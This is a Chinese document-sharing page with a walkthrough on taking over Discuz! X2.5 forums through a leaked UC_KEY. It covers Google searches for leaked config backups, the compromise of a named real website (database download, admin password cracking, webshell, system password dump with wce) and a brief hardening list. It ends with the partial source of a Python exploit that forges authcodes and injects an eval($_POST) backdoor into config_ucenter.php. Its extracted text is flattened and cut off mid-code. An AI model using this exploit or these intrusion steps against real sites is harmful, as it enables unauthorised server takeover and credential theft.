实战UCKey获取Discuz!x25论坛Webshell

上传人:012****78 文档编号:142047239 上传时间:2020-08-15 格式:DOCX 页数:13 大小:783.75KB
返回 下载 相关 举报
实战UCKey获取Discuz!x25论坛Webshell_第1页
第1页 / 共13页
实战UCKey获取Discuz!x25论坛Webshell_第2页
第2页 / 共13页
实战UCKey获取Discuz!x25论坛Webshell_第3页
第3页 / 共13页
实战UCKey获取Discuz!x25论坛Webshell_第4页
第4页 / 共13页
实战UCKey获取Discuz!x25论坛Webshell_第5页
第5页 / 共13页
点击查看更多>>
资源描述

《实战UCKey获取Discuz!x25论坛Webshell》由会员分享,可在线阅读,更多相关《实战UCKey获取Discuz!x25论坛Webshell(13页珍藏版)》请在金锄头文库上搜索。

1、实战UC_Key获取Discuz!x2.5论坛Webshell 作者: 日期:实战UC_Key获取Discuz!x2.5论坛Webshellsimeon路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章(http:/www.wooyun.org/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能获取UCenter Client的we

2、bshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。1.测试网上公布的0day代码通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell的文章,通过查看文章顺利获取0day代码。1.1测试误区 下载到uc_key.php和uc_key.py代码后,首先通过程序uc_key.py进行编译执行,结果出现错误提示:“IndexError:

3、 list index out of range”。通过搜索错误提示,也没有找到解决错误的方法。后面直接执行“python uc_key.py 127.0.0.1”命令则可以顺利执行。图1测试uc_key.py出错1.2 uc_key.php测试 1.获取uc_key值获取uc_key可以通过“configconfig_ucenter.php”文件获取,也可以通过登录后台获取,如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。图2获取uc_key值 2.获取webshell对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3

4、所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开启也会出现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell成功。图3获取Webshell失败图4获取webshell成功 对于X25系列,则可以轻松获取Webshell,执行命令“php uc_key.php”命令后,会直接修改“configconfig_ucenter.php”,如图5所示。密码为1图5修改配置文件获取webshell通过uc_key.php获取webshell,每次都需要修改uc_key.php中的host和uc_key值,使用起来不太方便,而通过uc_ke

5、y.py则方便很多,如图6所示,通过执行python uc_key.py host uc_key值,可以直接获取webshell。图6通过uc_key.py获取webshell1.2实战网上获取Webshell 1.搜索敏感配置文件在google中输入“config/config_global.php.bak”、“config/config_ucenter.php.bak”,如图7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。图7google搜索敏感信息2.查看搜索结果 在搜索结果中获取“www.tjeco.org/edusite/config”,该结果

6、明显存在文件路径泄漏漏洞,如图8所示,单击文件链接,尝试能否获取文件的具体内容,经过测试,发现无法获取文件内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。图8获取敏感文件泄漏漏洞3.获取数据库备份文件 对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备份,单击可以直接下载。图9下载数据库4.破解管理员密码下载后120903_dl8Ni1-1.sql文件后,将该数据库备份文件导入本地mysql数据库,进行查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图11所示,密码为“admin”,简直无语。图10获取用户密码等

7、信息图11获取管理员密码5.获取uc_key值 如图12所示,通过后台管理系统,获取uc_key通信密钥值。图12获取uc_key值6.获取webshell将该值通过“php uc_key.php”或者“python uc_key.py www.xxx.org uc_key”进行漏洞利用,成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者留了一个大马。图13成功获取webshell7.获取服务器系统管理员帐号 通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,上次wce.exe,通过“wce w”直接

8、获取系统管理员密码。图14获取系统管理员账号8. 防范与总结Discuz!论坛在安装成功后可以通过以下一些设置加强论坛的安全:(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入权限。(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell进行测试。(3)备份数据库后,要及时下载并删除数据库备份文件。(4)设置强健的管理员密码,安全验证问题和答案。(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。9.附件程序源代码1.uc_key.py#! /usr/bin/env python#

9、coding=utf-8import hashlibimport timeimport mathimport base64import urllibimport urllib2import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return %.8f %d % math.modf(time.time() def get_authcode(string, key = ): ckey_length = 4 key = hashlib.md5(key).hexdigest

10、() keya = hashlib.md5(key0:16).hexdigest() keyb = hashlib.md5(key16:32).hexdigest() keyc = (hashlib.md5(microtime().hexdigest()-ckey_length: #keyc = (hashlib.md5(0.736000 1389448306).hexdigest()-ckey_length: cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = 000

11、0000000 + (hashlib.md5(string+keyb).hexdigest()0:16+string string_length = len(string) result = box = range(0, 256) rndkey = dict() for i in range(0,256): rndkeyi = ord(cryptkeyi % key_length) j=0 for i in range(0,256): j = (j + boxi + rndkeyi) % 256 tmp = boxi boxi = boxj boxj = tmp a=0 j=0 for i i

12、n range(0,string_length): a = (a + 1) % 256 j = (j + boxa) % 256 tmp = boxa boxa = boxj boxj = tmp result += chr(ord(stringi) (box(boxa + boxj) % 256) return keyc + base64.b64encode(result).replace(=, ) def get_shell(url,key,host): 发送命令获取webshell headers=Accept-Language:zh-cn, Content-Type:applicati

13、on/x-www-form-urlencoded, User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1), Referer:url tm = time.time()+10*3600 tm=time=%d&action=updateapps %tm code = urllib.quote(get_authcode(tm,key) url=url+?code=+code data1= http:/xxx);eval($_POST1);/ try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return 访问出错 data2= http:/aaa

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 大杂烩/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号